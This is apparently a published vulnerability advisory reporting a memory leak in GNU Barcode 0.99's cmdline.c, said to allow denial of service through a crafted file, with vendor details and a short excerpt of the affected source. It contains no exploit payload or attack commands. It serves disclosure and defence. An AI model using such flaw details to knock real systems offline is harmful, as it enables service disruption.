# GNU Barcode 0.99 - Memory Leak
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Affected version: 0.99
# Tested on: Ubuntu 16.04.4
# Author: Gjoko 'LiquidWorm' Krstic

# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.

# Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited
# by malicious people to cause a DoS (Denial of Service). The vulnerability is
# caused due to an error in the 'cmdline.c', which can be exploited to cause a
# memory leak via a specially crafted file. The vulnerability is confirmed in
# version 0.99. Other versions may also be affected.

cmdline.c:

128: int commandline(struct commandline *args, int argc, char **argv,
129:                 char *errorhead)
130: {
131:     struct commandline *ptr;
132:     char *getopt_desc = (char *)calloc(512, 1);
133:     int desc_offset = 0;
134:     int opt, retval;
135:     char *value;
